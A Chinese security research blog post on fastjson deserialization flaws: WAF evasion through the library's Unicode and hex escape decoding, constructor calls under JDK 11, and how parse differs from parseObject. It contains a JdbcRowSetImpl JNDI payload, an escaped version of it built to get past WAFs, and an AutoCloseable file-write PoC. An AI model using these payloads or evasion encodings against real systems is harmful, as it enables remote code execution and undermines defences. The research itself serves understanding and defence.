fastjson在一些特殊场景下的漏洞挖掘与利用

 

引言

fastjson作为github上star已经超过2w的开源项目,在各个企业内部都有着广泛的使用,所以这个项目也一直以来是黑客们漏洞挖掘的重要目标,而自68版本以来关于fastjson相关漏洞的文章已经逐渐稀少了起来,一部分原因在于对于autotype的绕过变得越来越艰难,一部分原因在于现有WAF也都开始对fastjson漏洞有了较强的规则检测。然而当fastjson出于较低版本或者jdk>=11的情况下,还是有一定的方法可以尝试WAF的绕过以及新的gadgets的挖掘,文章主要针对fastjson的一些特性进行分析,为在这些特殊场景下的漏洞利用和挖掘提供一个思路。

 

隐藏的编码套路

首先去看一个比较重要的函数,JSONLexerBase.scanSymbol,这个函数是fastjson用来处理json字符串的函数,这里只截取关键部分代码,

if(chLocal=='\\'){
        if(!hasSpecial){
        hasSpecial=true;
        if(this.sp>=this.sbuf.length){
        int newCapcity=this.sbuf.length*2;
        if(this.sp>newCapcity){
        newCapcity=this.sp;
        }

        char[]newsbuf=new char[newCapcity];
        System.arraycopy(this.sbuf,0,newsbuf,0,this.sbuf.length);
        this.sbuf=newsbuf;
        }

        this.arrayCopy(this.np+1,this.sbuf,0,this.sp);
        }

        chLocal=this.next();
        switch(chLocal){
        case'"':
        hash=31*hash+34;
        this.putChar('"');
        break;
        case'#':
        case'$':
        case'%':
        case'&':
        case'(':
        case')':
        case'*':
        case'+':
        case',':
        case'-':
        case'.':
        case'8':
        case'9':
        case':':
        case';':
        case'<':
        case'=':
        case'>':
        case'?':
        case'@':
        case'A':
        case'B':
        case'C':
        case'D':
        case'E':
        case'G':
        case'H':
        case'I':
        case'J':
        case'K':
        case'L':
        case'M':
        case'N':
        case'O':
        case'P':
        case'Q':
        case'R':
        case'S':
        case'T':
        case'U':
        case'V':
        case'W':
        case'X':
        case'Y':
        case'Z':
        case'[':
        case']':
        case'^':
        case'_':
        case'`':
        case'a':
        case'c':
        case'd':
        case'e':
        case'g':
        case'h':
        case'i':
        case'j':
        case'k':
        case'l':
        case'm':
        case'o':
        case'p':
        case'q':
        case's':
        case'w':
default:
        this.ch=chLocal;
        throw new JSONException("unclosed.str.lit");
        case'\'':
        hash=31*hash+39;
        this.putChar('\'');
        break;
        case'/':
        hash=31*hash+47;
        this.putChar('/');
        break;
        case'0':
        hash=31*hash+chLocal;
        this.putChar('\u0000');
        break;
        case'1':
        hash=31*hash+chLocal;
        this.putChar('\u0001');
        break;
        case'2':
        hash=31*hash+chLocal;
        this.putChar('\u0002');
        break;
        case'3':
        hash=31*hash+chLocal;
        this.putChar('\u0003');
        break;
        case'4':
        hash=31*hash+chLocal;
        this.putChar('\u0004');
        break;
        case'5':
        hash=31*hash+chLocal;
        this.putChar('\u0005');
        break;
        case'6':
        hash=31*hash+chLocal;
        this.putChar('\u0006');
        break;
        case'7':
        hash=31*hash+chLocal;
        this.putChar('\u0007');
        break;
        case'F':
        case'f':
        hash=31*hash+12;
        this.putChar('\f');
        break;
        case'\\':
        hash=31*hash+92;
        this.putChar('\\');
        break;
        case'b':
        hash=31*hash+8;
        this.putChar('\b');
        break;
        case'n':
        hash=31*hash+10;
        this.putChar('\n');
        break;
        case'r':
        hash=31*hash+13;
        this.putChar('\r');
        break;
        case't':
        hash=31*hash+9;
        this.putChar('\t');
        break;
        case'u':
        char c1=this.next();
        char c2=this.next();
        char c3=this.next();
        char c4=this.next();
        int val=Integer.parseInt(new String(new char[]{c1,c2,c3,c4}),16);
        hash=31*hash+val;
        this.putChar((char)val);
        break;
        case'v':
        hash=31*hash+11;
        this.putChar('\u000b');
        break;
        case'x':
        char x1=this.ch=this.next();
        char x2=this.ch=this.next();
        int x_val=digits[x1]*16+digits[x2];
        char x_char=(char)x_val;
        hash=31*hash+x_char;
        this.putChar(x_char);
        }
}

在fastjson在进行json字符的处理时,如果扫描到 ‘/‘ (代码里是//是因为java自身的特殊字符编码),fastjson会认为字符经过了编码,所以会进行解码操作。在代码的case when场景中,绝大多数场景都是形如\f、\n这一类特殊字符,fastjson自然也就做的处理也很简单,这里重点看两个case,

也就是说当输入的字符是形如 \u 或者 \x 的情况下fastjson是会对其进行解码操作的(即fastjson支持字符串的Unicode编码和十六进制编码)。

ok,在获取了这个信息后,就用老版本的poc去尝试一下,

这里选取最初代版本的poc,测试一下,

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

这里做一个多重编码,

{"\u0040\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://localhost:1099/Exploit","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}

经过测试是可以成功达到poc的效果的,当然这个编码只能达到绕过部分waf和web黑名单的效果,因为编码是发生在反序列化之前的,所以无法绕过fastjson自身的autotype以及黑白名单。

 

何为默认构造函数

从我这边最初对于fastjson的序列化进行了解的时候,产生过一个认知,fastjson在进行反序列化的时候,首先会去调用无参构造函数进行实例化,之后再调用对应的setter与getter,因此下定了一个判断,反序列化的关键payload是要去各个class的setter和getter里面去找的,毕竟无参构造函数无法传参,利用基本就是不可行的。

这一点也是fastjson和jackson一个很大的区别,jackson可以通过如下写法将str传给反序列化类的构造函数,

["org.springframework.context.support.FileSystemXmlApplicationContext", "http://127.0.0.1/spel.xml"]

直到fastjson68版本漏洞爆出后,我看到了很多很有意思的poc,这些poc也实现了传参给反序列化类的构造函数,于是我这边也构造了68版本的poc,去尝试一下其中的可行性,

public class Poc68 {
    public static void main(String[] args){
        String str2 = "{\n" +
                "    \"@type\":\"java.lang.AutoCloseable\",\n" +
                "    \"@type\": \"java.io.FileOutputStream\",\n" +
                "    \"file\": \"/tmp/test\",\n" +
                "    \"append\": false\n" +
                "}";

        JSON.parseObject(str2);
    }
}

结果就出现了以下报错,

在不断的尝试下,终于发现这些poc都有一个要求,jdk11及以上,测试code如下,感兴趣的可以打个断点跟一下,可以看到name和age的值是成功传入了构造函数的。但是还有个很重要的限制,Person类自身不能拥有无参构造函数,否则依旧会只调用无参构造函数。

package com.glassy;

import com.alibaba.fastjson.JSON;

public class Person implements AutoCloseable{
    private String name;
    private int age;

    // public Person() {
    // }

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void close() throws Exception {

    }

    public static void main(String[] args){
        String json = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.glassy.Person\",\"name\":\"glassy\",\"age\":13}";
        JSON.parseObject(json);
    }

}

导致poc只能在jdk11利用成功的根本原因在于下面这行代码,

String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);

fastjson会使用ASM框架去读取给定类的字节码,并从中获取各个参数名,从而去确认怎样调用有参构造函数,然而当jdk版本低于11的时候却无法读取到对应信息。由于字节码操作本身是很受jdk版本影响的(写过rasp的同学应该深有感触),所以这里笔者也只能去斗胆猜测可能是jdk版本的兼容性做的不好,有兴趣的朋友们也可以深入分析一下。

 

parse与parseObject

fastjson在反序列化的时候提供了两个用于parse jsonStr的函数,这两个函数对于poc却有着截然不同的要求,我们先去看一下两个函数在功能上有什么区别。

JSON.parseObject(json); //实例化json字符串为JSONObject
JSON.parse(json); //实例化json字符串为Object

看上去似乎区别不大,但实际上JSON.parse只会循环调用指定字段的set方法,而JSON.parseObject()是会去循环调用指定字段的set方法和get方法,而之所以多出了一步,就是为了通过getter取出字段值去给JSONObject赋值。因此,取决于反序列化的函数不同,poc的可用性也会产生差别。

 

总结

以上是对于fastjson一些比较不为人注意的特性的分享与分析,虽然都是一些很小的细节,但是却会对poc的构造、挖掘造成不小的影响,尾部再对这些特性做一下总结。

  1. fastjson支持unicode编码与十六进制编码,在fastjson版本较低的时候绕黑名单有一定的帮助。
  2. fastjson在jdk11是可以构造出调用有参构造函数的poc的,前提是这个class本身没有无参构造函数。
  3. fastjson的parse函数和parseObject对于实力化类的触发场景是不一样的。
(完)